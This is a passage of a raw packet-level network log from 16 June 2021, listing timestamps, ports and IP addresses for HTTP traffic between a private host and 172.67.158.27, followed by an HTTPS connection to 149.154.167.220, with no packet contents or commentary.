Jun 16, 2021 12:06:01.193192005 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193742037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193775892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193803072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193828106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193829060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193855047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193864107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193881989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193907976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193917036 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193933010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193958044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.193965912 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.193983078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194010019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194015026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194036961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194061995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194068909 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194087029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194112062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194122076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194138050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194171906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194679976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194708109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194730997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194752932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194756031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194787979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194796085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194811106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194832087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194842100 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194852114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194875002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194885969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194897890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194921970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194931984 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194946051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194971085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.194978952 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.194993973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195015907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195028067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195031881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195065975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195605040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195641994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195668936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195683956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195694923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195720911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195729971 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195746899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195775032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195779085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195799112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195820093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195830107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195836067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195864916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195872068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195888042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195909023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195929050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195929050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195950985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.195960999 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.195969105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196001053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196542025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196577072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196602106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196613073 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196628094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196651936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196660042 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196676016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196698904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196708918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196721077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196743011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196753979 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196763039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196785927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196794987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196808100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196829081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196840048 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196847916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196871042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196880102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.196892023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.196922064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197446108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197475910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197496891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197510004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197518110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197540998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197547913 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197565079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197588921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197597027 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197611094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197632074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197652102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197652102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197674036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197685003 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197690010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197715998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197724104 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197738886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197762012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197772026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.197781086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.197813034 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198343039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198373079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198395014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198415995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198416948 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198437929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198458910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198460102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198481083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198501110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198502064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198523045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198534966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198539972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198566914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198582888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198587894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198609114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198625088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198628902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198651075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198663950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.198671103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.198704004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199264050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199294090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199318886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199333906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199337006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199367046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199374914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199392080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199414968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199434042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199444056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199460983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199469090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199482918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199507952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199517012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199532986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199558020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199568033 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199583054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199608088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199618101 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.199634075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.199670076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200202942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200237989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200259924 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200280905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200283051 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200304031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200330973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200331926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200352907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200366974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200371027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200397968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200407982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200418949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200439930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200457096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200459957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200483084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200491905 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200503111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200525999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200539112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.200545073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.200577974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201085091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201117039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201138973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201153994 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201155901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201178074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201184988 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201200008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201221943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201234102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201240063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201267004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201275110 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201289892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201311111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201324940 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201332092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201359034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201376915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201392889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201414108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201426983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.201430082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.201467037 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202035904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202064037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202084064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202105999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202121019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202127934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202148914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202161074 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202166080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202182055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202203035 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202204943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202227116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202246904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202255011 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202269077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202284098 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202286959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202311993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202325106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202331066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202353954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202378035 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.202948093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.202975035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203001976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203020096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203021049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203046083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203049898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203073025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203098059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203109026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203146935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203171968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203186035 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203195095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203222990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203231096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203248024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203272104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203283072 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203296900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203321934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203331947 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.203349113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.203382969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236397028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236427069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236458063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236479998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236495972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236515999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236529112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236540079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236553907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236562014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236578941 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236582994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236603975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236615896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236625910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236645937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236665964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236670971 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236686945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236706972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236725092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236727953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236759901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236777067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236780882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236802101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236810923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236896992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236922026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236929893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236948013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236972094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.236977100 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.236994982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.237030029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.237150908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.321996927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.322422981 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:02.398844957 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.450711012 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.450793982 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.460508108 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.512352943 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.512404919 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.512427092 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.512451887 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.512478113 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.512481928 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.512516975 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.519313097 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.519337893 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.519397020 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.577208042 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:02.635364056 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:02.843698978 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.137504101 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.190680981 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.196722984 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.248698950 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.248774052 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.300739050 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.300843954 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.352786064 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.352835894 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.352857113 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.353032112 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.394911051 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:03.399681091 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:03.404907942 CEST	443	49171	149.154.167.220	192.168.2.22
